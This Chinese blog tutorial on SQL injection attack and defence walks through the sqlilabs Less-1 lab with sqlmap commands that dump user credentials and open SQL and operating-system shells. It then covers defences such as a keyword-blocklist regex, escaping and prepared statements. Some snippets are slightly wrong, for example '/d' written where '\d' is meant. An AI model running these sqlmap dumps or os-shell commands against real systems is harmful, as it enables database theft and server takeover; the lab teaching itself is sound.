SQL注入攻击与防御

这篇具有很好参考价值的文章主要介绍了SQL注入攻击与防御。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、SQL注入原理及危害

        SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。

        SQL注入攻击的主要危害包括:非法读取、篡改、添加、删除数据库中的数据;数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,攻击者盗取用户的各类敏感信息,获取利益。网页篡改:通过修改数据库来修改网页上的内容。数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改,攻击者私自添加或删除账号。网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。破坏硬盘数据,瘫痪全系统。

二、SQL注入攻击

        在sqlilabs靶场模拟攻击环境,以sqlilabs第一关为例,首先安装好sqlilabs靶场,这里是在Windows7虚拟机上安装的。

        打开第一关的界面为http://192.168.42.128/sqli-labs-master/Less-1/SQL注入攻击与防御

 

        在第一关的URL后面构建一对键值对?id=1

        如http://192.168.42.128/sqli-labs-master/Less-1/?id=1,则显示用户账号与密码数据SQL注入攻击与防御

 

        在URL中输入http://192.168.42.128/sqli-labs-master/Less-1/?id=1’判断是否存在SQL注入的传参数点SQL注入攻击与防御

         当前页面显示存在SQL注入的传参数点

        此时我们打开kali虚拟机使用里面的SQLmap工具来检测,命令为

        sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1

SQL注入攻击与防御        由上图可知,该处存在SQL注入,还知Web服务器的操作系统为Windows,Web应用技术为PHP 5.5.38加上Apache 2.4.39,数据库为MySQL 版本大于5.5。

        再使用命令sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1 –dbs 列出当前服务器可用的数据库如果如下SQL注入攻击与防御

        查看当前使用数据库和当前使用数据的用户命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --current-db --current-userSQL注入攻击与防御

 

        当前用户为root,数据库为security

        查看当前使用的数据库中有哪些表的命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  -D security --tablesSQL注入攻击与防御

 

        Security数据库中有四张表分别是emails、referers、uagents和users。

        查看Security数据库中的users表中的列名,查看其他表名同理,命令为

sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  -D security -T users –columnsSQL注入攻击与防御

 

        User表中有三个字段分别是id,password和username

        查看表中的三个字段的数据命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"

         -D security -T users -C id,username,password --dumpSQL注入攻击与防御

 

        判断当前数据用户是不是DMA的命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --is-dbaSQL注入攻击与防御

 

        获取当前所有数据库的用户及当前数据库的用户密码命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --passwords --usersSQL注入攻击与防御

 

        上面那个红色区域是数据库中的当前所有用户账号,下面这个红色区域是当前数据库用户的密码,该账号的密码为空。

        可以通过该命令运行自定义SQL语句,命令为sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --level 3 --sql-shell 和select * from users;SQL注入攻击与防御

 SQL注入攻击与防御

 

        通过该命令可以执行任意操作系统命令

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --os-shell

SQL注入攻击与防御

 

三、SQL注入防御

1、限制数据类型

        在传入参数的地方限制参数的类型,比如整型 Integer,随后加入函数判断,如is_numeric($_GET[‘id’]) 只有当get到的id为数字或者数字字符时才能执行下一步,限制了字字符自然就限制了注入,毕竟构造参数怎么可能不传入字符。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。

2、正则表达式匹配传入参数(这里是PHP,其他语言也同理)

源码:

$id=$_POST['id'];

if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) {

        die('stop hacking!');

    } else {

        echo 'good';

    }

            注释:

                        preg_match() 函数匹配传入的id值,

        / 作为正则的起始标识符

        | 代表或

        [A-Za-z] 表示匹配参数中是否存在大小写的26个字符

        /d 匹配是否存在数字

        +匹配一次或多次

        /i 不区分大小写

    例如像下面这句:

                ?id=1’ union select 1,2# 因为匹配到union select,输出 stop hacking!

3、函数过滤转移

        在PHP中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义, 比如: ?id=1' and 1=1#  ===> ?id=1/' and 1=1#

        另外还有addslashes(),也具有相同的效果。像前面提到的**preg_match()**函数结合正则表达式或者黑名单也具有预防效果。默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

mysql_escape_string($string):用反斜杠转义字符串中的特殊字符,用于mysql_query()查询。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。转义的符号包括 \x00 \n \r \ ’ " \x1a

4、预编译语句

        预编译语句对现在的程序员来说基本都会去设计使用的方法,保障数据库的安全。一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。

String query="select password from users where username='?' ";

        预编译:使用预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构,在这个例子中,即使攻击者插入类似 admin’ or 1=1# 的字符串,如果不做处理直接带入查询,那么query则变成了

query="select password from users where username='admin' or 1=1 ";

        闭合了后面的引号,从而执行了恶意代码。而预编译则是将传入的 admin’ or 1=1# 当做纯字符串的形式作为username执行,避免了上面说到的SQL语句中的拼接闭合查询语句等过程,可以理解为字符串与sql语句的关系区分开,username此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。

        下面给个php绑定变量的事例:

        $query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";

        $stmt=$mysqli->prepare($query);

        $stmt->bind_param("sss",$val1,$val2,$val3);

        $val1="Stuttgart";

        $val2="DEU";

        $val3="Baden";

        //execute the statement

        $stmt->execute();

5、对数据库的敏感信息进行加密

        数据库中可以进行MD5算法加密插入到数据库中,像数据库中的用户的账号和密码以及涉及到用的个人隐私的。

        也可以在插入数据之前使用DES算法加密,密文加密钥组合起来,例如password字段的数据,前十六位为密文,后十六位为密钥,则password等于密文(16位)加上密钥(16位)组合起来,其他表中的字段同理。

6、管理数据库的配置权限

        使用安全的账号和密码策略,SQL Server具有一个超级用户账号,其用户名称是: SA,该用户名不能被修改也不能被删除,所以,我们必须对这个账号进行最强的保护。不在数据库应用中直接使用SA账号,新建一个(而且只建-一个)与SA一样权限的超级用户来管理数据库,其它用户根据实际需要分配仅仅能够满足应用要求的权限,不要给予多余的权限,所有用户(特别是超级用户)都要使用复杂的密码,同时养成定期修改密码的好习惯。

        使用Windows 身份验证模式,SQL Server的认证模式有Windows身份认证和混合身份认证两种。应该使用Windows 身份验证模式,因为它通过限制对Microsoft Windows 用户和域用户账户的连接,保护SQLServer免受大部分Internet 的工具的侵害,而且,服务器也可以从Windows 安全增强机制中获益。这样就可以使数据库免受大部分Internet的工具的侵害。文章来源地址https://www.toymoban.com/news/detail-414326.html

到了这里,关于SQL注入攻击与防御的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CSRF漏洞原理攻击与防御(非常细)

    提示:以下是本篇文章正文内容,下面案例可供参考 CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪

    2024年03月20日
    浏览(46)
  • SQL 注入漏洞攻击

    假设你用自己的用户名和密码登录了一个付费网站,网站服务器就会查询一下你是不是 VIP 用户,而用户数据都是放在数据库中的,服务器通常都会向数据库进行查询,要向数据库进行增删改查操作,就需要用到 SQL 语言。 但是,作为 SQL 的注入攻击者,我们并不知道网站的密

    2024年02月09日
    浏览(34)
  • SQL注入漏洞复现:探索不同类型的注入攻击方法

    这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。  准备环境 sqlilabs靶场 安装:Sqli-labs靶场搭建(适合新手小白围观)_sqlilabs靶场搭建-CSDN博客   注入讲解 介绍         基于错误的注入(Error-based Injection)是一种 利用应用程序返回的错误信息来

    2024年02月11日
    浏览(33)
  • OWASP TOP 10漏洞的原理 和攻击方式以及防御方法

    OWASP TOP 10漏洞是指由Open Web Application Security Project(OWASP)组织发布的当前最严重、最普遍的10种Web应用程序安全漏洞。以下是每种漏洞的原理、攻击方式和防御方法。 注入漏洞(Injection) 原理:攻击者向应用程序中输入恶意代码,使其执行未经授权的操作。 攻击方式:SQL注

    2024年02月07日
    浏览(35)
  • web安全漏洞-SQL注入攻击实验

    实验目的 学习sql显注的漏洞判断原理 掌握sqlmap工具的使用 分析SQL注入漏洞的成因 实验工具 sqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6种SQL注入手段。 实验内容 SQL注入(SQL I

    2024年02月06日
    浏览(37)
  • 网站代码sql注入攻击漏洞修复加固防护措施

    什么是SQL注入攻击? SQL注入是一种网站的攻击方法。它将SQL代码添加到网站前端GET POST参数中,并将其传递给mysql数据库进行分析和执行语句攻击。 如何生成SQL注入漏洞的? 1。网站程序员以及运维技术是不能保证所有的前端输入都被安全效验与拦截过滤。 2。攻击者使用发送

    2024年02月01日
    浏览(33)
  • SQL注入攻击原理 实战

    我来进行实战了,总在看教程。 提示:这里可以添加本文要记录的大概内容: 前言,前言,前言(挠头)啊,我终于打实战了 提示:以下是本篇文章正文内容,下面案例可供参考 看这样子,应该是不存在的 如果没有就继续吧, 哎,你看它变了, 又回来了,没有那就试试这个

    2024年02月12日
    浏览(34)
  • 漏洞攻击中怎么去做最全面覆盖的sql注入漏洞攻击?表信息是如何泄露的?预编译就一定安全?最受欢迎的十款SQL注入工具配置及使用

    漏洞攻击中怎么去做最全面覆盖的sql注入漏洞攻击?表信息是如何泄露的?预编译就一定安全?最受欢迎的十款SQL注入工具配置及使用。 SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控

    2024年01月24日
    浏览(32)
  • D-LINK SQL注入漏洞让攻击者获得管理员权限

    D-Link DAR-7000 设备中发现了一个名为 SQL 注入的安全漏洞。 SQL注入是一种恶意攻击,它利用Web应用程序中的漏洞注入恶意SQL语句并获得对数据库的未经授权的访问。 此技术允许攻击者查看、修改和删除数据库中的数据,这可能对数据的机密性、完整性和可用性构成重大威胁。

    2024年02月07日
    浏览(35)
  • 漏洞原理 SQL 注入

    OWASP漏洞原理启航(第一课)-CSDN博客 OWASP漏洞原理<最基础的数据库 第二课>-CSDN博客 小皮面板(phpstudy

    2024年02月20日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包